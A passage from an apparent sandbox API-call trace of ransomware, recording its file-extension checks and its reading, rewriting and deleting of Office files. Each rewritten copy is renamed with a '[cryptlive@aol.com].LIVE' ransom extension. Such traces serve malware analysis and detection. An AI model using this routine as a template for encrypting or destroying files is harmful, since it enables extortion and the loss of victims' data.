(lpString=".rar") returned 4 [0139.657] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString=".bz2") returned 4 [0139.657] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.657] lstrlenW (lpString=".7z") returned 3 [0139.657] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.657] lstrlenW (lpString=".dbf") returned 4 [0139.657] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.657] lstrlenW (lpString=".1cd") returned 4 [0139.657] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.657] lstrlenW (lpString=".jpg") returned 4 [0139.657] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.657] lstrlenW (lpString=".doc") returned 4 [0139.657] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString=".docx") returned 5 [0139.657] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0139.657] lstrlenW (lpString=".pdf") returned 4 [0139.658] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.658] lstrlenW (lpString=".xls") returned 4 [0139.658] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.658] lstrlenW (lpString=".xlsx") returned 5 [0139.658] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0139.658] lstrlenW (lpString=".ppt") returned 4 [0139.658] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.658] lstrlenW (lpString=".zip") returned 4 [0139.658] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.658] lstrlenW (lpString=".rar") returned 4 [0139.658] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.658] lstrlenW (lpString=".bz2") returned 4 [0139.658] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.658] lstrlenW (lpString=".7z") returned 3 [0139.658] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.658] lstrlenW (lpString=".dbf") returned 4 [0139.658] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.658] lstrlenW (lpString=".1cd") returned 4 [0139.658] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.658] lstrlenW (lpString=".jpg") returned 4 [0139.658] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.658] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.658] lstrlenW (lpString="DL_RES.DLL") returned 10 [0139.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0139.691] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10632) returned 1 [0139.691] CloseHandle (hObject=0x390) returned 1 [0139.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll")) returned 0x20 [0139.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.101] lstrlenW (lpString=".doc") returned 4 [0140.101] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0140.101] lstrlenW (lpString=".docx") returned 5 [0140.101] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0140.101] lstrlenW (lpString=".pdf") returned 4 [0140.101] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0140.101] lstrlenW (lpString=".xls") returned 4 [0140.101] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0140.101] lstrlenW (lpString=".xlsx") returned 5 [0140.101] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0140.101] lstrlenW (lpString=".ppt") returned 4 [0140.101] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0140.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.101] lstrlenW (lpString=".zip") returned 4 [0140.101] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0140.101] lstrlenW (lpString=".rar") returned 4 [0140.101] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0140.101] lstrlenW (lpString=".bz2") returned 4 [0140.101] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0140.101] lstrlenW (lpString=".7z") returned 3 [0140.101] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0140.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.101] lstrlenW (lpString=".dbf") returned 4 [0140.101] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0140.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.101] lstrlenW (lpString=".1cd") returned 4 [0140.101] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0140.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.101] lstrlenW (lpString=".jpg") returned 4 [0140.101] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.102] lstrlenW (lpString=".doc") returned 4 [0140.102] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString=".docx") returned 5 [0140.102] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0140.102] lstrlenW (lpString=".pdf") returned 4 [0140.102] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString=".xls") returned 4 [0140.102] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString=".xlsx") returned 5 [0140.102] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0140.102] lstrlenW (lpString=".ppt") returned 4 [0140.102] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.102] lstrlenW (lpString=".zip") returned 4 [0140.102] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString=".rar") returned 4 [0140.102] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0140.102] lstrlenW (lpString=".bz2") returned 4 [0140.102] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0140.102] lstrlenW (lpString=".7z") returned 3 [0140.102] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0140.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.102] lstrlenW (lpString=".dbf") returned 4 [0140.102] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0140.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.102] lstrlenW (lpString=".1cd") returned 4 [0140.102] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0140.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58 [0140.102] lstrlenW (lpString=".jpg") returned 4 [0140.102] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0140.103] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0140.103] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0140.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0140.176] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=114) returned 1 [0140.176] CloseHandle (hObject=0x388) returned 1 [0140.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 0x20 [0140.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.252] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.252] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0140.252] GetLastError () returned 0x0 [0140.252] ReadFile (in: hFile=0x390, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x72, lpOverlapped=0x0) returned 1 [0140.253] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0140.255] ReadFile (in: hFile=0x390, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.255] WriteFile (in: hFile=0x388, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0140.255] SetEndOfFile (hFile=0x388) returned 1 [0140.255] CloseHandle (hObject=0x388) returned 1 [0140.255] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.255] SetEndOfFile (hFile=0x390) returned 1 [0140.260] CloseHandle (hObject=0x390) returned 1 [0140.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 1 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString=".doc") returned 4 [0140.261] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.261] lstrlenW (lpString=".docx") returned 5 [0140.261] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.261] lstrlenW (lpString=".pdf") returned 4 [0140.261] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.261] lstrlenW (lpString=".xls") returned 4 [0140.261] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.261] lstrlenW (lpString=".xlsx") returned 5 [0140.261] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.261] lstrlenW (lpString=".ppt") returned 4 [0140.261] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString=".zip") returned 4 [0140.261] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.261] lstrlenW (lpString=".rar") returned 4 [0140.261] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.261] lstrlenW (lpString=".bz2") returned 4 [0140.261] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.261] lstrlenW (lpString=".7z") returned 3 [0140.261] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString=".dbf") returned 4 [0140.261] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString=".1cd") returned 4 [0140.261] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString=".jpg") returned 4 [0140.261] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.261] lstrlenW (lpString=".doc") returned 4 [0140.262] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0140.262] lstrlenW (lpString=".docx") returned 5 [0140.262] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0140.262] lstrlenW (lpString=".pdf") returned 4 [0140.262] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0140.262] lstrlenW (lpString=".xls") returned 4 [0140.262] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0140.262] lstrlenW (lpString=".xlsx") returned 5 [0140.262] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0140.262] lstrlenW (lpString=".ppt") returned 4 [0140.262] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0140.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.262] lstrlenW (lpString=".zip") returned 4 [0140.262] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0140.262] lstrlenW (lpString=".rar") returned 4 [0140.262] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0140.262] lstrlenW (lpString=".bz2") returned 4 [0140.262] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0140.262] lstrlenW (lpString=".7z") returned 3 [0140.262] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0140.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.262] lstrlenW (lpString=".dbf") returned 4 [0140.262] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0140.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.262] lstrlenW (lpString=".1cd") returned 4 [0140.262] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0140.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK") returned 63 [0140.262] lstrlenW (lpString=".jpg") returned 4 [0140.262] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0140.262] lstrcmpiW (lpString1=".VSL", lpString2=".LIVE") returned 1 [0140.262] lstrlenW (lpString="FACILITY.VSL") returned 12 [0140.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.208] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=81768) returned 1 [0141.208] CloseHandle (hObject=0x380) returned 1 [0141.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 0x20 [0141.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.344] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.344] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0141.346] GetLastError () returned 0x0 [0141.346] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x13f68, lpOverlapped=0x0) returned 1 [0141.389] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x13f70, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x13f70, lpOverlapped=0x0) returned 1 [0141.391] ReadFile (in: hFile=0x3b4, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.391] WriteFile (in: hFile=0x394, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.391] SetEndOfFile (hFile=0x394) returned 1 [0141.391] CloseHandle (hObject=0x394) returned 1 [0141.391] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.391] SetEndOfFile (hFile=0x3b4) returned 1 [0141.395] CloseHandle (hObject=0x3b4) returned 1 [0141.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl")) returned 1 [0141.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString=".doc") returned 4 [0141.396] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString=".docx") returned 5 [0141.396] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0141.396] lstrlenW (lpString=".pdf") returned 4 [0141.396] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString=".xls") returned 4 [0141.396] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0141.396] lstrlenW (lpString=".xlsx") returned 5 [0141.396] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0141.396] lstrlenW (lpString=".ppt") returned 4 [0141.396] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString=".zip") returned 4 [0141.396] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0141.396] lstrlenW (lpString=".rar") returned 4 [0141.396] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString=".bz2") returned 4 [0141.396] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString=".7z") returned 3 [0141.396] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString=".dbf") returned 4 [0141.396] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString=".1cd") returned 4 [0141.396] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString=".jpg") returned 4 [0141.396] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.396] lstrlenW (lpString=".doc") returned 4 [0141.396] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString=".docx") returned 5 [0141.397] lstrcmpiW (lpString1=".docx", lpString2="Y.VSL") returned -1 [0141.397] lstrlenW (lpString=".pdf") returned 4 [0141.397] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString=".xls") returned 4 [0141.397] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0141.397] lstrlenW (lpString=".xlsx") returned 5 [0141.397] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VSL") returned -1 [0141.397] lstrlenW (lpString=".ppt") returned 4 [0141.397] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.397] lstrlenW (lpString=".zip") returned 4 [0141.397] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0141.397] lstrlenW (lpString=".rar") returned 4 [0141.397] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString=".bz2") returned 4 [0141.397] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString=".7z") returned 3 [0141.397] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0141.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.397] lstrlenW (lpString=".dbf") returned 4 [0141.397] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.397] lstrlenW (lpString=".1cd") returned 4 [0141.397] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0141.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL") returned 60 [0141.397] lstrlenW (lpString=".jpg") returned 4 [0141.397] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0141.397] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0141.397] lstrlenW (lpString="INFINTL.DLL") returned 11 [0141.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.416] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=481168) returned 1 [0141.416] CloseHandle (hObject=0x380) returned 1 [0141.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFINTL.DLL" (normalized: "c:\\program files\\microsoft 